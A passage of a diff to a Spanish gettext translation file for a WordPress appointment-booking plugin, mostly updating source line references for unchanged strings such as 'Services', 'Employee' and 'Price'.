assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Configuración\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Exportar\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"Identidad\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Servicios\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Servicio\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Fecha\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Tiempo\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Empleados\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Empleado\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Precio\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"Estado\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Cliente\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Pagado: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"Pida\"\n \n@@ -845,7 +835,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1232,7 +1222,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Formulario de cita\"\n \n@@ -1480,7 +1470,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1494,7 +1484,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Slugs o ID separados por comas de las etiquetas que se mostrarán.\"\n \n@@ -1571,7 +1561,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Información adicional del empleado\"\n \n@@ -1592,49 +1582,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"ID del mensaje de un empleado para mostrar el contenido. Nota: esta configuración utiliza automáticamente el ID del mensaje actual cuando hay un shortcode en el mensaje del empleado y es necesaria en caso contrario.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Información de contacto de los empleados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Contenido para empleados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Imagen de los empleados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"Horario de los empleados\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"Lista de servicios para empleados\"\n \n@@ -1642,7 +1632,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"Lista de empleados\"\n \n@@ -1658,10 +1648,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"Mostrar imagen destacada.\"\n \n@@ -1674,9 +1664,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"Mostrar el título del mensaje.\"\n \n@@ -1689,30 +1679,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"Mostrar el extracto del mensaje.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"Mostrar información de contacto.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"Mostrar las redes sociales.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"Mostrar información adicional.\"\n \n@@ -1720,7 +1710,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"Llaves o identificadores separados por comas de los empleados que se mostrarán.\"\n \n@@ -1734,8 +1724,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Ubicaciones\"\n \n@@ -1743,8 +1733,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"Slugs o identificadores de lugares separados por comas.\"\n \n@@ -1757,9 +1747,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"Mensajes por página\"\n \n@@ -1777,10 +1767,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Recuento de columnas\"\n \n@@ -1798,10 +1788,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"El número de columnas de la cuadrícula.\"\n \n@@ -1815,10 +1805,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"Ordenar por\"\n \n@@ -1832,10 +1822,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"Sin ordenar\"\n \n@@ -1846,9 +1836,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"ID del mensaje\"\n \n@@ -1859,9 +1849,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Autor del mensaje\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: 